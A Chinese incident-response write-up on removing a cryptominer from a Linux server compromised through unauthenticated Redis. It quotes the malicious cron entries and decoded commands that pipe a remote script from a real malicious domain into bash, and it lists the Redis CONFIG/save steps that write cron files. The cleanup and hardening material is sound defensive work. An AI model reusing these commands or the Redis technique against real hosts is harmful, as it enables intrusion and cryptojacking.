服务器被挖矿病毒入侵的排查与清理实录

Linux 服务器被挖矿病毒入侵的排查与清理实录(根因:Redis 未授权访问)

一次真实的挖矿病毒应急响应记录:crontab 里出现陌生任务、ps/top 被篡改、Redis 端口被 pnscan 持续扫描。本文完整还原入侵链路、清理步骤和加固方案。

⚠️ 警告:文中出现的域名、脚本均为病毒指标(IOC),仅供分析学习,切勿访问或执行。

一、入侵现场:三个可疑迹象

排查一台行为异常的服务器时,发现了三个明显的入侵迹象。

迹象 1:crontab 里出现陌生任务

/etc/cron.d/ 下多了一个陌生文件 zzh,同时 /etc/crontab 也被写入了内容。打开文件一看,开头是一段二进制乱码,中间夹着几行 cron 任务:

复制代码
$ cat /etc/cron.d/zzh
REDIS0008ú      redis-ver^E4.0.2ú
redis-bitsÀ@ú^EctimeÂGútbú^Hused-memÂH<9e>^L^@ú^Nrepl-stream-dbÀÿú
^@^Gbackup3@o

*/4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash

^@^Gbackup1@l

*/2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash

^@^Gbackup2@w

*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash

注意三个细节:

  1. 文件开头是 Redis RDB 文件的二进制头 (REDIS0008、redis-ver 4.0.2)------这直接暴露了入侵方式(后文详解);
  2. 三条 cron 任务分别每 2、3、4 分钟执行一次------这就是"杀掉恶意进程它马上复活"的原因;
  3. 命令全是 echo <base64>|base64 -d|bash 的形式------用编码伪装真实载荷。

迹象 2:ps、top 等系统命令行为异常

用 ps、top 查看进程时,输出和预期对不上------系统命令本身已被病毒替换,用来隐藏恶意进程。这也是这类挖矿家族的常见手法:先篡改你的"眼睛",再放心挖矿。

迹象 3:Redis 端口持续被 pnscan 访问

Redis 端口上一直有个叫 pnscan 的进程在活动,而且进程 PID 一直在变 ------因为 cron 每 2~4 分钟重新拉起一次。pnscan 是一个端口扫描工具,说明这台机器不仅在被挖矿,还在作为"肉鸡"对外扫描传播。

二、分析恶意载荷:base64 解码

把 cron 里的三段 base64 解开看看(在隔离的分析环境中操作,不要在中毒机器上直接执行):

复制代码
$ echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg== | base64 -d
curl http://oracle.zzhreceive.top/b2f628/b.sh

$ echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK | base64 -d
cd1 http://oracle.zzhreceive.top/b2f628/b.sh

$ echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo= | base64 -d
wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh

三条命令指向同一个地址:用 curl/wget 下载 b.sh 并直接交给 bash 执行。b.sh 就是真正的恶意脚本(下载挖矿程序、释放 pnscan 扫描器、替换系统命令)。

顺带一提:看到 echo xxx|base64 -d|bash 这种形态的定时任务,基本可以直接判定为恶意------正常业务没有人这样写 cron。

三、入侵链路还原:Redis 未授权访问 → RDB 写入 cron

为什么 cron 文件开头会有一段 Redis RDB 的二进制头?这暴露了完整的入侵路径。

这台服务器的 Redis(4.0.2)暴露在公网且无密码,攻击者的利用过程:

复制代码
# 1. 扫描器扫到公网上的 6379 端口,直接连入(无需认证)
redis-cli -h <受害机IP>

# 2. 利用 Redis 的持久化机制,把 RDB 文件写到 cron 目录
config set dir /etc/cron.d/
config set dbfilename zzh
set backup1 "\n\n*/2 * * * * root echo <base64载荷>|base64 -d|bash|bash\n\n"
save

# 3. cron 生效,定时下载并执行恶意脚本

原理:Redis 的 RDB 快照文件就是内存数据的序列化 dump。攻击者把恶意 cron 命令作为 value 写进 Redis,再把持久化目录指到 /etc/cron.d/、文件名设为 zzh,一次 save 之后,RDB 文件(带着二进制头和恶意命令)就落在了 cron 目录里。

cron 解析文件时会跳过无法解析的行(只在日志里报错),但会正常执行其中格式合法的行------二进制乱码不影响那几行恶意任务生效。文件里残留的 backup1@o、redis-ver 4.0.2 等字段,就是 RDB 里 key/value 结构留下的痕迹。

至此,入侵链路完整了:

复制代码
公网扫描发现 6379 未授权
        ↓
Redis 写入恶意 key + 修改持久化路径
        ↓
RDB 落盘到 /etc/cron.d/zzh(持久化)
        ↓
cron 每 2~4 分钟拉起恶意脚本
        ↓
下载挖矿程序 + pnscan 对外扩散 + 篡改 ps/top 隐藏自身

四、清理步骤(顺序很重要)

核心原则:先断持久化,再杀进程。顺序反了就会陷入"杀掉→2 分钟后复活"的打地鼠循环。

4.1 先隔离

  • 机器摘掉公网流量,或安全组先封 6379 入口和恶意域名的出口方向;
  • 这一步既防止清理过程中被二次写入,也避免 pnscan 继续对外扫描(对外扫描可能招来云厂商封机甚至投诉)。

4.2 清除持久化入口

bash 复制代码
# 检查所有可能的 cron 位置
crontab -l -u root
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/

# 删除恶意文件,清理 /etc/crontab 中被插入的行
rm -f /etc/cron.d/zzh

# 找出近期被修改过的定时任务文件(防止漏掉)
find /etc/cron* /var/spool/cron -type f -mtime -7

4.3 定位并杀掉恶意进程

本机的 ps/top 已被篡改,不能信任,换替代手段:

bash 复制代码
# 方法1:用 busybox(静态编译,未被篡改)
busybox ps aux | egrep 'pnscan|zzh|miner|kworkerds'

# 方法2:直接遍历 /proc
ls -l /proc/*/exe 2>/dev/null | egrep -v '/usr/|/lib/|/bin/|/sbin/'

# 找到后强杀
kill -9 <恶意进程PID>

同时删除恶意文件的落盘位置(这类家族常见藏身处):

bash 复制代码
ls -la /tmp/ /var/tmp/ /dev/shm/     # 重点看隐藏目录(名字带点的)

4.4 检查其他持久化项

这类病毒经常顺手加多条后路,逐项排查:

bash 复制代码
# SSH 后门公钥
cat /root/.ssh/authorized_keys

# 自启动项
ls -l /etc/systemd/system/ /usr/lib/systemd/system/ | head -50
cat /etc/rc.local
systemctl list-unit-files --state=enabled | grep -v multi-user

发现陌生的条目一律删除。

4.5 修复被篡改的系统命令

bash 复制代码
# 校验系统包完整性(被改过的文件会列出来)
rpm -V procps        # CentOS/RHEL
dpkg -V procps       # Debian/Ubuntu

# 重装或从同版本的干净机器上拷贝 ps/top 等命令
yum reinstall procps -y

4.6 加固 Redis(根因不除,半小时后被再次入侵)

这次被入侵的根因就是 Redis 裸奔在公网,清理完必须立刻加固:

复制代码
# redis.conf
bind 127.0.0.1                    # 只监听本地;确需内网访问就绑内网 IP
requirepass <强密码>               # 设置密码
rename-command CONFIG ""          # 禁用危险命令(CONFIG/FLUSHALL/FLUSHDB 按需)
rename-command FLUSHALL ""

配套措施:

  • 云安全组/防火墙彻底封死 6379 对公网(这是最重要的一条);
  • 不要用 root 跑 Redis,单独建低权限用户;
  • 升级 Redis 版本(这台机器当时还在跑 4.0.2)。

4.7 复查

bash 复制代码
# 装个 rootkit 检测工具扫一遍
yum install -y rkhunter && rkhunter --check

# 观察 1~2 天,确认 cron 目录没有再被写入新文件
watch -n 60 'ls -l /etc/cron.d/ /etc/crontab'

如果 Redis 没加固就上线业务,大概率几天后 /etc/cron.d/ 又会出现新文件------扫描器是全自动的,它们不会"放过"任何一个开放端口。

五、复盘

环节 攻击动作 我们的失误 对应修复
入口 扫描公网 6379 Redis 无密码暴露公网 安全组封端口 + requirepass
持久化 RDB 写 /etc/cron.d/ 目录可被 Redis 进程写入 非 root 运行 Redis + 禁 CONFIG
载荷 cron 每 2~4 分钟下载脚本 发现不及时 主机侧告警(异常 crontab 写入)
隐藏 篡改 ps/top 缺少文件完整性校验 定期 rpm -V 校验关键包
扩散 pnscan 对外扫描 出网无管控 出口防火墙限制

几条可复用的经验:

  1. Redis 未授权访问 ≠ 只丢数据。以 root 运行时,它约等于把机器 root 权限送出去------RDB 写 cron 只是众多利用姿势之一(写 SSH key、写 LD_PRELOAD 同样常见);
  2. 应急响应先断持久化再杀进程,否则永远在打地鼠;
  3. 中毒机器上的命令不可信 ,busybox 和 /proc 是底线工具;
  4. 清理必须连根:入口(Redis)、持久化(cron/自启动/SSH key)、载荷(恶意文件)、善后(被篡改的系统命令),漏一个都会复发;
  5. "乱码文件里的有效行"是个经典盲区:cron 会跳过解析失败的行、执行合法行,攻击者正是利用这一点把恶意任务藏进 RDB 二进制里。

参考资料


相关推荐
极客先躯1 小时前
高级java每日一道面试题-2026年01月20日-实战篇[Docker]-如何实现镜像的跨区域复制?
java·运维·docker·容器·架构图
传人1 小时前
为什么 Xshell 中可以通过java -version查询到java 版本号码,Electerm 却查不到?
java·linux·服务器
韩振方1 小时前
为什么服务显示占了 8G,实际内存却没那么多?
运维
陌上花开缓缓归以2 小时前
mebdlts3.4.1安全启动全流程
服务器·算法
鬼手点金2 小时前
opencode-全能开发者配置
java·linux·服务器·前端·javascript·学习·前向传播
xixiaoyunya2 小时前
虚拟机备份怎么做:镜像级与文件级搭配的完整实操方案
linux·运维·网络
阿明63 小时前
进程替换【Linux】
linux·运维·服务器
sunoo-2293 小时前
【嵌入式Linux驱动学习】Day1-Day2 全流程梳理:环境搭建→U-Boot→内核→根文件系统→驱动基础
linux·运维·驱动开发·笔记·学习·阿里云·恩智浦
YonyouHRSaaS3 小时前
从安全、信创、运维三方面看,人力资源管理系统哪种部署方式更适合企业HR?
运维·安全·hr系统·人力资源管理系统·hr saas·人事管理系统